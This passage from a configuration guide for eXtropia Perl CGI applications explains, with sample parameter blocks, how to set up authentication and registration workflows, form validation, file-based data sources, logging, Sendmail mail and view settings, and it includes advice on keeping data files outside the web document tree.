    -FIELD_DELIMITER      => '|',
    -FIELD_NAMES          => \@AUTH_USER_DATASOURCE_FIELD_NAMES,
    -FILE                 => './Datafiles/users.dat'
);

my @AUTH_ENCRYPT_CONFIG_PARAMS = (
    -TYPE => 'Crypt'
);

my %USER_FIELDS_TO_DATASOURCE_MAPPING = (
'auth_username'     => 'username',
'auth_username'     => 'username',
'auth_password'     => 'password',
'auth_firstname'    => 'firstname',
'auth_lastname'     => 'lastname',
'auth_groups'       => 'groups',
'auth_email'        => 'email'
);

my @AUTH_CACHE_CONFIG_PARAMS = (
    -TYPE           => 'Session',
    -SESSION_OBJECT => $SESSION
);

my @AUTH_CONFIG_PARAMS = (
    -TYPE                                 => 'DataSource',
    -USER_DATASOURCE_PARAMS               => \@AUTH_USER_DATASOURCE_CONFIG_PARAMS,
    -ENCRYPT_PARAMS                       => \@AUTH_ENCRYPT_CONFIG_PARAMS,
    -AUTH_CACHE_PARAMS                    => \@AUTH_CACHE_CONFIG_PARAMS,
    -ADD_REGISTRATION_TO_USER_DATASOURCE => 1,
    -USER_FIELDS_TO_DATASOURCE_MAPPING   => \%USER_FIELDS_TO_DATASOURCE_MAPPING
);
```

4.7.3 Authentication Manager Configuration

The authentication object that we previously configured is useful for providing raw access to whether a user is who they say they are and whether they have access to a particular resource.

However, authentication is not just about a raw username/password mechanism. Authentication usually involves some sort of workflow.

For example, in a CGI-based workflow, a CGI form to allow the user to enter their name and password is presented while a RemoteUser-based workflow would rely on the web server passing the previously validated username to the script using the REMOTE_USER environment variable.

Workflows around authenticating users can also be more complex. For example, you might allow users to register themselves if they have not previously logged in to the web application.

Authentication managers enter the picture in order to provide the workflow around a core authentication mechanism.

There are five variables involved with configuring an authentication manager.

Each of these variables should be configured according to the specifics of the drivers you wish to use. However, to achieve cross-platform compatibility, eXtropia applications use CGI-based authentication managers. The following section explains a sample default configuration that is shown at the end of this section while the figure immediately below illustrates visually how auth manager fits into the application setup.

[IMAGE]

1. `@AUTH_REGISTRATION_DH_MANAGER_CONFIG_PARAMS`

   Specifies the configuration for the data handler that will handle the registration forms.

   - -DATAHANDLERS

     Specifies which data handler drivers must be loaded in order to perform all handling. By default, eXtropia authentication forms require DataHandler::Email and DataHandler::Exists.

   - -FIELD_MAPPINGS

     Defines a mapping of fields in the registration form and their ’display’ names.

   - -IS_FILLED_IN

     Specifies a list of fields that must be filled-in in order for the form to be submitted. By default, eXtropia registration screens require that all fields are filled in.

   - -IS_EMAIL

     Specifies a list of fields that must be valid email addresses. By default, eXtropia registration screens only have one email field.

2. `@USER_FIELDS`

   Specifies the list of fields in the datasource that represent user details.

3. `%USER_FIELD_NAME_MAPPINGS`

   Specifies a mapping between variable names and display names.

4. %USER_FIELD_TYPES

   Specifies three field types that the AuthManager needs to know about: the field that should be considered a username, the field that should be considered a password, and the field that contains group information.

5. @AUTH_MANAGER_PARAMS

   Specifies the parameters for an authentication manager.

   - -TYPE

     Specifies the type of AuthManager to use. By default eXtropia applications use Session-Manager::CGI.

   - -SESSION_OBJECT

     Contains a reference to a Session object.

   - -AUTH_VIEWS

     Contains a pointer to a View module containing authentication views. By default, eXtropia applications use a View file located in appname/Views/ExtropiaAuthManager/CGIView.pm.

   - -VIEW_LOADER

     Contains a reference to a view loader.

   - -AUTH_PARAMS

     Contains a reference to @AUTH_PARAMS.

   - -CGI_OBJECT

     Contains a reference to a CGI object.

   - -SESSION_FORM_VAR

     Specifies a string that will be used to specify the incoming form variable used to pass the session id. By default, eXtropia applications use ’session’.

   - -ALLOW_REGISTRATION

     Specifies whether the application will allow users to register themselves. If set to 0, users will not be able to register new usernames and passwords. By default, eXtropia applications allow registration.

- -ALLOW_USER_SEARCH

  Specifies whether users should be able to search for their account information. By default, eXtropia applications allow searches.

- -USER_SEARCH_FIELD

  Specifies the field used to search for when users search for their account information. By default, eXtropia application uses the email field.

- -GENERATE_PASSWORD

  Specifies whether the application should generate passwords on behalf of users. If you set it to 0, users can choose their own passwords. By default, eXtropia applications allow users to choose their own passwords.

- -DEFAULT_GROUPS

  Specifies the string used for the group field by default. By default, eXtropia applications use the word 'normal'.

- -ADMIN_EMAIL_FROM

  Specifies the email address of the administrator. It is used to send mail 'from'.

- -ADMIN_EMAIL_ADDRESS

  Specifies the email address of the administrator. It is used to send mail 'to'.

- -USER_FIELDS

  Contains a reference to @USER_FIELDS.

- -USER_FIELD_TYPES

  Contains a reference to %USER_FIELD_TYPES.

- -EMAIL_REGISTRATION_TO_ADMIN

  Specifies whether the administrator should be emailed on new registrations. If set to 1, administrators will be emailed upon new registrations. By default, eXtropia applications are set to not send email.

- -DISPLAY_REGISTRATION_AGAIN_AFTER_FAILURE

  Specifies whether a user should be able to try to register again after registration failure. If set to 1, users will be able to try again. By default, eXtropia applications allow retries.

- -USER_FIELD_NAME_MAPPINGS

  Contains a reference to %USER_FIELD_NAME_MAPPINGS.

- -AUTH_REGISTRATION_DATAHANDLER_PARAMS

  Contains a reference to @AUTH_REGISTRATION_DATAHAN-DLER_MANAGER_PARAMS.

To help you get a better feel for what authentication manager configuration looks like, the following shows a standard configuration.

```
my @AUTH_REGISTRATION_DH_MANAGER_CONFIG_PARAMS = (
    -TYPE         => 'CGI',
    -CGI_OBJECT   => $CGI,
    -DATAHANDLERS => [qw(
        Email
        Exists
    )],
    -FIELD_MAPPINGS => {
        'auth_username'     => 'Username',
        'auth_password'     => 'Password',
        'auth_password2'    => 'Confirm Password',
        'auth_firstname'    => 'First Name',
        'auth_lastname'     => 'Last Name',
        'auth_email'        => 'E-Mail Address'
    },
    -IS_FILLED_IN => [qw(
        auth_username
        auth_firstname
        auth_lastname
        auth_email
    )],
    -IS_EMAIL => [qw(
        auth_email
    )]
);

my @USER_FIELDS = (qw(
    auth_username
    auth_password
    auth_groups
    auth_firstname
    auth_lastname
    auth_email
));

my %USER_FIELD_NAME_MAPPINGS = (
    'auth_username'  => 'Username',
    'auth_password'  => 'Password',
    'auth_group'     => 'Groups',
    'auth_firstname' => 'First Name',
    'auth_lastname'  => 'Last Name',
    'auth_email'     => 'E-Mail'
);

my %USER_FIELD_TYPES = (
    -USERNAME_FIELD => 'auth_username',
    -PASSWORD_FIELD => 'auth_password',
    -GROUP_FIELD    => 'auth_groups'
);

my @AUTH_MANAGER_CONFIG_PARAMS = (
    -TYPE                => 'CGI',
    -SESSION_OBJECT      => $SESSION,
    -AUTH_VIEWS          => './Views/ExtropiaAuthManager/CGIViews.pm',
    -VIEW_LOADER         => $VIEW_LOADER,
    -AUTH_PARAMS         => \@AUTH_PARAMS,
    -CGI_OBJECT          => $CGI,
    -ALLOW_REGISTRATION  => 1,
    -ALLOW_USER_SEARCH   => 1,
    -USER_SEARCH_FIELD   => 'auth_email',
    -GENERATE_PASSWORD   => 0,
    -DEFAULT_GROUPS      => 'normal',
    -ADMIN_EMAIL_FROM    => 'you@yourdomain.com',
    -ADMIN_EMAIL_ADDRESS => 'you@yourdomain.com',
    -USER_FIELDS         => \@USER_FIELDS,
    -USER_FIELD_TYPES    => \%USER_FIELD_TYPES,
    -EMAIL_REGISTRATION_TO_ADMIN                => 0,
    -DISPLAY_REGISTRATION_AGAIN_AFTER_FAILURE   => 1,
    -USER_FIELD_NAME_MAPPINGS                   => \%USER_FIELD_NAME_MAPPINGS,
    -AUTH_REGISTRATION_DH_MANAGER_CONFIG_PARAMS =>
    \@AUTH_REGISTRATION_DH_MANAGER_CONFIG_PARAMS
);
```

4.7.4 Datahandler Manager Configuration

Data handlers perform all sorts of data manipulation such as untainting, validation and transformations. Data handler managers conveniently manage whole sets of data handlers in one place.

Typically, eXtropia applications will contain one data handler manager configuration for each form generated by the application work flow. Thus if an application had an 'Add' form and a 'Send Mail' form, you would expect there to be two configurations. The following figure illustrates how data handler manager setup integrates with the rest of an eXtropia application setup.

[IMAGE]

Data handler manager configurations require only one variable per manager that takes the form of:

```
@[FORM_NAME]_FORM_DH_MANAGER_CONFIG_PARAMS
```

Thus, in our two-form application, we might have two variables called:

```
@ADD_FORM_DH_MANAGER_CONFIG_PARAMS
@SEND_FORM_DH_MANAGER_CONFIG_PARAMS
```

Each of these variables should be configured according to the specifics of the drivers you wish to use. However, because they are CGI applications, eXtropia applications use CGI-based data handler managers.

1. `@XXXX_FORM_DH_MANAGER_CONFIG_PARAMS`

   Contains parameters for a data handler manager for a particular form in the application (Form XXX).

   - -TYPE

     Specifies the type of data handler manager to use

   - -CGI_OBJECT

     Contains a reference to a CGI object.

   - -DATAHANDLERS

     Specifies which DataHandler drivers must be loaded in order to perform all handling. By default, eXtropia applications require DataHandler::Exists, DataHandler::Email, and DataHandler::HTML.

   - -ESCAPE_HTML_TAGS

Contains a list of fields that should not be able to contain HTML. All HTML is escaped, replacing < with < and > with >.

- -IS_EMAIL

  Contains a list of fields that must conform to valid email address formatting.

- -IS_FILLED_IN

  Contains a list of fields that must be filled-in in order for the form to be submitted.

To help you get a better feel for what data handler configuration looks like, the following shows a standard configuration.

```
my @COMMENT_FORM_DH_MANAGER_CONFIG_PARAMS = (
    -TYPE         => 'CGI',
    -CGI_OBJECT   => $CGI,
    -DATAHANDLERS => [qw(
            Email
            Exists
            HTML
    )],
    -ESCAPE_HTML_TAGS => [qw(
            fname
            lname
            email
            comments
    )],
    -IS_EMAIL => [qw(
            email
    )],
    -IS_FILLED_IN => [qw(
            fname
            lname
            email
            comments
    )]
 );
```

4.7.5 DataSource Configuration

Because they require some form of data storage and retrieval, a data source of one form or another will be required by most eXtropia applications.

SECURITY ALERT: Move those administrative files now! As we said previously in the chapter on installation, it is crucial that you move all administrative and data files outside of the web documents tree. For example, suppose you have a directory structure like the following:

```
c:/program files
    apache group
        apache
            bin
            cgi-bin
                webresponder
                    Datafiles
                        webresponder.data
            htdocs
```

In this case, we would recommend moving the *Datafiles* directory out of the *cgi-bin* area and placing it an area unavailable to web browsers such as in the following example:

```
c:/program files
    apache group
        apache
            bin
            cgi-bin
                webresponder
            datafiles
                webresponder
                    datafiles
                        webresponder.data
                htdocs
```

If you do this, you would also need to change @DATA_SOURCE_CONFIG_PARAMS to read:

```
my @DATASOURCE_CONFIG_PARAMS = (
  -TYPE            => "File",
  -FILE            =>
                "../datafiles/webresponder/datafiles/webguestbook.data",
  -FIELD_DELIMITER => "|",
  -LOCK_TYPE       => "File",
  -FIELD_NAMES     => \@DATASOURCE_FIELD_NAMES,
  -FIELD_TYPES     => {
      item_id => 'auto',
      },
);
```

There are two variables involved with configuring a data source:

Each of these variables should be configured according to the specifics of the drivers you wish to use. However, to achieve cross-platform compatibility, eXtropia applications use file-based data sources.

NOTE: In many cases, you will want to use the data files generated by eXtropia applications in other applications. In particular, many users prefer to read large data files in Microsoft Excel.

Loading eXtropia data files into Excel is simple. Fortunately, Excel provides a useful importing feature in its 'Open' function that allows you to specify not only that you wish to import a delimited file, but what character should be considered the delimiter.

By default, eXtropia applications use the ’|’ character as the default delimiter.

The following figure outlines how the datasource setup integrates with the rest of the configuration of an eXtropia application.

[IMAGE]

The following is a sample list of variables used to set up a datasource along with an example of the parameters used to set them up. The two variables listed below, `@DATASOURCE_FIELD_NAMES` and `@DATASOURCE_CONFIG_PARAMS` are directly data source related and we go over those immediately below.

However, when eXtropia applications use views that are datasource-aware, they contain code which understand two additional configuration variables so that the views will understand how to build the datasource related forms and tables. These two variables are `%INPUT_WIDGET_DEFINITIONS` and @INPUT_WIDGET_DISPLAY_ORDER.

1. `@DATASOURCE_FIELD_NAMES`

   Specifies an ordered list of fields representing the fields in the datasource. Reference to a list Contains an ordered list of fields in the datasource.

2. `@DATASOURCE_CONFIG_PARAMS`

   Specifies the configuration of the data source.

   - -TYPE

     Specifies the driver type. By default eXtropia applications use *DataSource::File*.

   - -FILE

     Specifies the file that contains the data.

   - -COUNTER_FILE

     Specifies the name and path of the file that is used to store unique, incrementally- updated record IDs.

   - -FIELD_DELIMITER

     Specifies the character that you will use to delimit fields in every row of the database. By default, eXtropia applications use the pipe (’|’) character.

   - -LOCK_TYPE

     Specifies the locking driver used to protect the data file. By default, eXtropia applications use *Lock::File*.

- -FIELD_NAMES

  References @DATASOURCE_FIELD_NAMES.

- -FIELD_TYPES

  Specifies the types associated with fields in the data source (simple string assumed by default). At very least for the purposes of searching, it can be very useful to define field types for each of your fields. If you consult the documentation for DataSource, you will see a whole list of types including number, date, and auto (increment).

  NOTE: In some cases, there will be fields in the data source that are meant primarily to be used for administrative purposes. That is, the data in these fields is not added or modified by users. One field in particular is represented in all default data sources since all default data sources use the Datasource::File driver.

  This field is item_id. The item_id field is used to assure that every row in the datasource can be uniquely identified in cases of modification. In order to implement the uniqueness, the item_id field is set to be auto incrementing using the -FIELD_TYPES parameter. As a result, the item_id field will be set to the current number specified in the counter file (eg ./Datafiles/app_name.count.dat).

Now that we've gone over the variables related directly to configuring the data source, we can go on to how you configure the views to recognize what fields are in a datasource from a user interface perspective. These variables are `$INPUT_WIDGET_DEFINITIONS` and @INPUT_WIDGET_DISPLAY_ORDER.

1. `%INPUT_WIDGET_DEFINITIONS`

   Specifies the HTML form widgets used for capturing information about datasource fields. The format is almost identical to Lincoln Stein's CGI.pm HTML generation routines specified in the CGI.pm documentation.

2. `@INPUT_WIDGET_DISPLAY_ORDER`

   Specifies the order in which to display HTML form widgets.

The following is a sample of how `%INPUT_WIDGET_DEFINITIONS` would be configured for a data source containing last name and email.

```
%INPUT_WIDGET_DEFINITIONS = (
    lname => [
        -DISPLAY_NAME => 'Last Name',
        -TYPE         => 'textfield',
        -NAME         => 'lname',
        -DEFAULT      => '',
        -SIZE         => 30,
        -MAXLENGTH    => 80
    ],

    email => [
        -DISPLAY_NAME => 'Email',
        -TYPE         => 'textfield',
        -NAME         => 'email',
        -DEFAULT      => '',
        -SIZE         => 30,
        -MAXLENGTH    => 80
    ]
);
```

The format for these variables leverages off the HTML generation methods provided by *CGI.pm* with the exception that `-DISPLAY_NAME` (to be used as a display name for the widget) and `-TYPE` (specifying a *CGI.pm* widget) are specified.

As such, you can generate any form widget using the *CGI.pm* syntax. You should consult the documentation for *CGI.pm* to get a thorough explanation of the API, but below are a few examples of common input widgets.

- **Generating a TextField**

```
    widget_name => [
        -DISPLAY_NAME => 'Widget Name',
        -TYPE         => 'textfield',
        -NAME         => 'widget_name',
        -DEFAULT      => '',
        -SIZE         => 30,
        -MAXLENGTH    => 80
    ]
```

- **Generating a TextArea**

```
    widget_name => [
        -DISPLAY_NAME => 'Widget Name',
        -TYPE         => 'textarea',
        -NAME         => 'widget_name',
        -DEFAULT      => '',
        -ROWS         => 5,
        -COLS         => 30
    ]
```

- **Generating a Password Field**

```
widget_name => [
    -DISPLAY_NAME => 'Widget Name',
    -TYPE         => 'password_field',
    -NAME         => 'widget_name',
    -DEFAULT      => '',
    -SIZE         => 30,
    -MAXLENGTH    => 80
]
```

- **Generating a File Upload Field**

```
widget_name => [
    -DISPLAY_NAME => 'Widget Name',
    -TYPE         => 'filefield',
    -NAME         => 'widget_name',
    -DEFAULT      => '',
    -SIZE         => 30,
    -MAXLENGTH    => 80
]
```

- **Generating a Drop Down Menu**

```
widget_name => [
    -DISPLAY_NAME => 'Widget Name',
    -TYPE         => 'popup_menu',
    -NAME         => 'widget_name',
    -DEFAULT      => 'one_value',
    -VALUES       => \@VALUES,
    -LABELS       => \%labels
]
```

- **Generating a List Box**

```
widget_name => [
    -DISPLAY_NAME => 'Widget Name',
    -TYPE         => 'scrolling_list',
    -NAME         => 'widget_name',
    -DEFAULT      => 'one_value',
    -VALUES       => \@VALUES,
    -LABELS       => \%labels,
    -SIZE         => 5
    -MULTIPLE     => TRUE
]
```

- **Generating a Checkbox Group**

```
widget_name => [
    -DISPLAY_NAME => 'Widget Name',
    -TYPE         => 'checkbox_group',
    -NAME         => 'widget_name',
    -DEFAULT      => 'one_value',
    -VALUES       => \@VALUES,
    -LABELS       => \%labels,
    -LINEBREAK    => TRUE,
    -ROWS         => 2,
    -COLS         => 2
]
```

- **Generating a Standalone Checkbox**

```
widget_name => [
    -DISPLAY_NAME => 'Widget Name',
    -TYPE         => 'checkbox',
    -NAME         => 'widget_name',
    -CHECKED      => 'checked',
    -VALUE        => ON,
    -LABEL        => Click Me,
]
```

- **Generating a Radio Button Group**

```
widget_name => [
    -DISPLAY_NAME => 'Widget Name',
    -TYPE         => 'radio_group',
    -NAME         => 'widget_name',
    -VALUES       => \@VALUES,
    -DEFAULT      => value,
    -LABELS       => \%labels,
    -LINEBREAK    => TRUE,
    -ROWS         => 2,
    -COLS         => 2
]
```

NOTE: The usage of input widget related variables is best understood by example. We recommend that you take a moment to examine their usage by example in the *Configuration by Example* section later in this guide.

To help you get a better feel for what a data source configuration looks like, the following shows a standard configuration:

```
my @DATASOURCE_CONFIG_PARAMS = (
    -TYPE            => 'File',
    -FIlE            => './Datafiles/webresponder.data',
    -FIELD_DELIMITER => '|',
    -LOCK_TYPE       => 'File',
    -FIELD_TYPES     => {
        item_id => 'auto'
        },
    -FIELD_NAMES     => [qw(
        item_id
        fname
        lname
        email
        comments
        )]
);

my %INPUT_WIDGET_DEFINITIONS = (
    category => [
        -DISPLAY_NAME => 'Category',
        -TYPE         => 'popup_menu',
        -NAME         => 'category',
        -DEFAULT      => '',
        -VALUES       => [qw(Business Misc Personal)]
    ],

    fname => [
        -DISPLAY_NAME => 'First Name',
        -TYPE         => 'textfield',
        -NAME         => 'fname',
        -DEFAULT      => '',
        -SIZE         => 30,
        -MAXLENGTH    => 80
    ],

    lname => [
        -DISPLAY_NAME => 'Last Name',
        -TYPE         => 'textfield',
        -NAME         => 'lname',
        -DEFAULT      => '',
        -SIZE         => 30,
        -MAXLENGTH    => 80
    ],

    email => [
        -DISPLAY_NAME => 'Email',
        -TYPE         => 'textfield',
        -NAME         => 'email',
        -DEFAULT      => '',
        -SIZE         => 30,
        -MAXLENGTH    => 80
    ]
);

my @INPUT_WIDGET_DISPLAY_ORDER = qw(
        category
        fname
        lname
        email
);
```

4.7.6 Logging Configuration

Logging is a very useful utility for any application. For example, it is often advisable for an administrator to check through logs in order to look for errors, hack attempts, or to analyze general usage. It may also be useful to use a log to recover lost data.

One useful bit of information to know about is the state of the environment when a logged event occurs. As a result, all eXtropia applications use a small routine to add the environment state to every log entry.

In order to append the environment information such as REMOTE_USER and REMOTE_HOST to the log, we need to first get it using the `%ENV` hash given to all CGI scripts by the web server that executes them.

The routine, to gather the data, called `_generateEnvVarsString(),` is pretty trivial. It simply runs through each of the ENV keys and stores the name and value in a string to hand off to the Log object.

```
sub _generateEnvVarsString {
    my @env_values;

    my $key;
    foreach $key (keys %ENV) {
        push (@env_values, "$key=" . $ENV{$key});
    }
    return join ("\|", @env_values);
}
```

The following figure illustrates how the log integrates with the rest of the eXtropia application setup.

[IMAGE]

There is only one variable involved with defining the log.

This variable should be configured according to the capability of the driver you wish to use. However, to achieve cross platform compatibility, eXtropia applications use file-based logs by default so we will go over it’s parameters here.

1. `@LOG_CONFIG_PARAMS`

   Specifies the configuration of the log object.

   - -TYPE

     Specifies the type of log driver to use. By default, eXtropia applications use *Log::File*.

   - -LOG_FILE

Specifies the location of the file used for logging. By default, eXtropia applications use *./Datafiles/app_name.log*.

- -LOG_ENTRY_SUFFIX

  Specifies a string of text added to the end of the log entry. By default, eXtropia applications add the environment string discussed above.

- -LOG_ENTRY_PREFIX

  Specifies a string of text added to the beginning of the log entry. By default, eXtropia applications append the name of the application itself.

To help you get a better feel for what log configuration looks like, the following example shows a standard configuration.

```
my @LOG_CONFIG_PARAMS = (
    -TYPE             => 'File',
    -LOG_FILE         => './Datafiles/webguestbook.log',
    -LOG_ENTRY_SUFFIX => '|' . _generateEnvVarsString() . '|',
    -LOG_ENTRY_PREFIX => 'WebGuestbook|'
);
```

4.7.7 Mail Configuration

To send mail, eXtropia applications use *Extropia::Mail*. Specifically, by default, eXtropia applications use the *Extropia::Mail::Sendmail* driver.

We recommend using sendmail, because we are partial to Apache running on LINUX. However, you can easily use any number of mail drivers for Windows, UNIX, or Macintosh. See the Further References section to find out where to get more information about the various mail drivers available for eXtropia applications. However, you can use the following as a rule of thumb:

If you run a Mac web server, we recommend *MailSender.pm*. *MailSender.pm* is available at CPAN (if it is not already included in your distribution of Perl) and uses a raw SMTP connection to send mail to valid email addresses.

If you are a Windows user, you can also use *MailSender*. However, *Mail::Blat*, and *Mail::NTSendmail* are also options and available as drivers from eXtropia.

The following figure illustrates the sections of a setup file that typically are required in order to enable an application to send mail.

[IMAGE]

There are essentially two variables involved with mail configuration

NOTE: The parameters defined in the MAIL_SEND_PARAMS can easily be expanded to include any parameters that a mail driver's send() method can accept. For example, if you wanted to attach a file to the email sent you might use.

```
my @LIST_MAILING_EVENT_MAIL_SEND_PARAMS = (
    -FROM           => 'me@mydomain.com',
    -REPLY_TO       => 'her@herdomain.com',
    -TO             => 'you@yourdomain.com',
    -SUBJECT        => $CGI->param('subject'),
    -ATTACH         => /somedirectory/attach/file.dat
);
```

Each of these variables should be configured according to the specifics of the drivers you wish to use.

1. `@MAIL_CONFIG_PARAMS`

   Specifies the configuration of the Mail Driver.

   - -TYPE

     Specifies the type of mail driver to use. By default, eXtropia applications use *Mail::Sendmail*.

   - -MAIL_PROGRAM_PATH

     Specifies the path to Sendmail.

2. `@XXX_MAIL_SEND_PARAMS`

   Specifies the parameters of each type of mail that the application can send. This parameter works much like the data handler manager configuration we discussed earlier. As in the case of data handler managers, an application may have several mail send variables to configure. For example, in WebDB, the administrator may wish to send an email for successful additions, modifications, and deletions. As a result, individual emails must be configurable for each type of event. Thus, three mail send parameters would have to be configured, one for each WebDB event.

3. `@EMAIL_DISPLAY_FIELDS`

   Specifies a list of fields that should be added to the body of any email sent out.

   - -FROM

     Specifies who the mail will be sent from.

   - -TO

Specifies who the email should be sent to. This variable can be either a scalar for a single value or a reference to an array of email addresses.

- -CC

  Specifies who should be copied. Like -TO, this parameter can be a scalar or a reference to an array.

- -BCC

  Specifies who should be blind copied. Like -TO, this parameter can be a scalar or a reference to an array.

- -REPLY_TO

  Specifies an email address to be used in the reply to field.

- -SUBJECT

  Specifies the subject of the email.

To help you get a better feel for what mail configuration looks like, the following example shows a standard configuration:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE              => 'Sendmail',
    -MAIL_PROGRAM_PATH => '/usr/lib/sendmail'
);

my @DELETE_EVENT_ADMIN_MAIL_SEND_PARAMS = (
    -FROM     => 'me@me.com',
    -TO       => $CGI->param('email'),
    -BCC      => ['me@me.com', you@yourdomain.com],
    -CC       => ['her@her.com', you@yourdomain.com],
    -REPLY_TO => 'me@me.com',
    -SUBJECT  => 'Mailing List Un-Subscription',
);

my @ADD_EVENT_ADMIN_MAIL_SEND_PARAMS = (
    -FROM     => 'me@me.com',
    -TO       => $CGI->param('email'),
    -REPLY_TO => 'me@me.com',
    -SUBJECT  => 'Mailing List Subscription',
);

my @MODIFY_EVENT_ADMIN_MAIL_SEND_PARAMS = (
    -FROM     => 'me@me.com',
    -TO       => ['me@me.com', you@yourdomain.com],
    -REPLY_TO => 'me@me.com',
    -SUBJECT  => 'Mailing List Subscription',
);
```

NOTE: If you are reading carefully, you might notice that by default, eXtropia applications dont actually include a `-BODY` parameter in the mail send configuration. Although you can certainly define a body here, we generally prefer to leave the creation of the body until run time.

That is, since the body of an email message is usually defined by the actual event of user submission and the logical path the specific instance of the application takes, we do not like to define the body in the setup file (which does its work before any application logic really begins.)

Instead, eXtropia applications will generally include one view per mail send parameter. Thus, in the case of the example above, we would typically create three views, one for the add event, one for the delete event, and one for the modify event.

These views would be used to dynamically create the body of the email message at runtime. Consider the `display()` method from a standard body-generating view:

```
sub display {
    my $this = shift;
    @_ = _rearrange([-EMAIL_DISPLAY_FIELDS, -CGI_OBJECT],
        [-EMAIL_DISPLAY_FIELDS, -CGI_OBJECT],@_
    );

    my $display_fields_ref  = shift;
    my $cgi                 = shift;
    my $content = qq[
        The following guestbook entry was submitted.
    ];

    my $field;
    foreach $field (@$display_fields_ref) {
        $content .= $field . substr((" " x 25), length($field));
        $content .= $cgi->param($field) . "\n";
    }
    return $content;
}
```

This can be used in the application by saving the view output to a variable that is added to the mail send parameters at runtime:

```
my $view = $view_loader->create("AddEventUserEmailView");
my $body = $view->display(@$view_display_params);
my $mailer = Extropia::Mail->create(@$mail_config_params)
    or die("Mail error.");
$mailer->send(
    @$add_event_user_mail_send_params,
    -BODY => $body
);
```

4.7.8 Encryption Configuration

Though not used in every eXtropia application, encryption is a crucial part of some. If data security is an important part of your requirements, you'll certainly wish to encrypt data in and out of the application. *Extropia::Encrypt* will form a big part of the solution.

[IMAGE]

Encryption configuration is achieved by defining one variable. This variable should be configured according to the specifics of the drivers you wish to use. By default, eXtropia applications use no encryption, but we have added this configuration parameter to most applications as a convenience to you should you wish to implement encryption.

1. `@ENCRYPT_CONFIG_PARAMS`

   Specifies the configuration for the Encrypt object.

   - -TYPE

     Here we enable the *Extropia::Encrypt::Crypt* driver because it is the most cross platform password encryption mechanism. However, some systems (especially Windows with older versions of Perl) may not have `crypt()` implemented. In this case, simply replace the

     ```
     -TYPE => 'Crypt'
     ```

     with

     ```
     -TYPE => 'None'
     ```

     which will turn off encryption.

     See the section on Further References to get an idea of what other encryption drivers are available.

To help you get a better feel for what encrypt configuration looks like, the following example shows a standard configuration.

```
my @ENCRYPT_CONFIG_PARAMS = (
    -TYPE             => 'None',
);
```

4.7.9 View Configuration

Views define the application's user interface. You can find all the Views for an application in the *appName/Views/ExtropiaAppName* directory. For example, if you want to modify the 'Comment Form' for WebResponder, you need only edit the file *webresponder/Views/Extropia/WebResponder/CommentFormView.pm*.

However, views also have a configuration piece. In order to save you typing time, all views can accept a set of global parameters. For example, if you have a background image that you want to use for all pages, you would want to send it to all views rather than hardcode it into each view. If you hardcode it, when the background image changes, you'll need to modify every view. Using a global view parameter assures that if you want to change the image, you change it in the configuration and all views will find out about it automatically.

Primarily, views are just HTML. After all, they are used to define the user interface and are not supposed to be bulky with code. If you want to make a change to the HTML, you should read *Step Seven: Modifying the Application Look and Feel*.

There are a couple of variables used to configure views. They are shown graphically in the figure below, and then explained in detail in the list that comes after the figure.

[IMAGE]

1. `@VIEW_DISPLAY_PARAMS`

   Specifies the parameters that are sent to all the views.

   - -CGI_OBJECT

     Specifies the CGI object that has been used to gather incoming form data from the user.

   - -DOCUMENT_ROOT_URL

     Specifies the URL of the web document root.

   - -IMAGE_ROOT_URL

     Specifies the URL of the web images root.

   - -APPLICATION_LOGO

     Specifies the name of the image file used as the application logo.

   - -APPLICATION_LOGO_WIDTH

     Specifies the width of the application logo.

- -APPLICATION_LOGO_HEIGHT

  Specifies the height of the application logo.

- -APPLICATION_LOGO_ALT

  Specifies the text used in the `ALT` tag of the application logo `IMAGE` tag.

- -HEADER_BG_COLOR

  Specifies the background color to use for section headers.

- -HEADER_BG_COLOR

  Specifies the color to use for fonts within section headers.

- -TABLE_BG_COLOR_1

  Specifies the background color to use for `<TH>` tags.

- -TABLE_BG_COLOR_1

  Specifies the background color to use for `<TD>` tags.

- -SCRIPT_DISPLAY_NAME

  Specifies a formatted name to be displayed such as 'Bobs Fish Emporium'.

- -SCRIPT_NAME

  Specifies the name of the *.cgi* file itself.

- -PAGE_BACKGROUND_COLOR

  Specifies a color to be used for page backgrounds. Value would be something like `FFFFFF` for white.

- -PAGE_BACKGROUND_IMAGE

  Specifies the URL of an image to be used as the page background.

- -PAGE_LINK_COLOR

  Specifies a color to be used for page links. Value would be something like `FFFFFF` for white.

- -PAGE_ALINK_COLOR

Specifies a color to be used for page links `onclick()` event. Value would be something like `FFFFFF` for white.

- -PAGE_VLINK_COLOR

  Specifies a color to be used for page links once the user has visited the page in question. Value would be something like `FFFFFF` for white.

- -PAGE_FONT_COLOR

  Specifies a color to be used for fonts. Value would be something like `FFFFFF` for white.

- -PAGE_FONT_SIZE

  Specifies a font size.

- -PAGE_FONT_FACE

  Specifies a font face.

- -HOME_VIEW

  Specifies the initial, or default, view of the application.

- -EMAIL_DISPLAY_FIELDS

  Specifies a set of data source parameters that should be displayed in emails. This parameter is generally only used in email-related views.

- -FILED_NAME_MAPPINGS

  Maps the list of data source fields to a 'user friendly' format.

2. `@VALID_VIEWS`

   In order to triple check that no hacker is using this application to snoop files that they should not have access to, we will explicitly list all the views that the application will be allowed to display to a web browser.

   For example, if you look at the list in @VALID_VIEWS, and you look in the directory *mail-inglistmanager/Views/Extropia/MLM*, you'll see that they are the same.

   Note that if you add a new View object, you'll need to add its name to this list or you will not be allowed to view it. Likewise, if you want to prevent a user from seeing a view provided by default, you can remove it from this list.

To help you get a better feel for what view configuration looks like, consider the standard configuration shown below.

```
my @VALID_VIEWS = qw(
    MyView1View
    MyView2View
);

my @VIEW_DISPLAY_PARAMS = (
-INPUT_WIDGET_DEFINITIONS   => $INPUT_WIDGET_DEFINITIONS,
-INPUT_WIDGET_DISPLAY_ORDER => \@INPUT_WIDGET_DISPLAY_ORDER,
-ROW_COLOR_RULES         => \@ROW_COLOR_RULES,
-FIELD_COLOR_RULES       => \@FIELD_COLOR_RULES,
    -CGI_OBJECT              => $CGI,
    -DOCUMENT_ROOT_URL       => 'http://somedomain.com/',
    -APPLICATION_LOGO        => 'app_logo.gif',
    -APPLICATION_LOGO_HEIGHT => '63',
    -APPLICATION_LOGO_WIDTH  => '225',
    -APPLICATION_LOGO_ALT    => 'WebDB Demo'
    -HEADER_BG_COLOR         => '000000',
    -HEADER_FONT_COLOR       => 'FFFFFF',
    -TABLE_BG_COLOR_1        => '6699CC',
    -TABLE_BG_COLOR_2        => 'E5E5E5',
    -IMAGE_ROOT_URL          => 'http://somedomain.com/images/',
    -SCRIPT_DISPLAY_NAME     => 'APPNAME',
    -SCRIPT_NAME             => 'app_name.cgi',
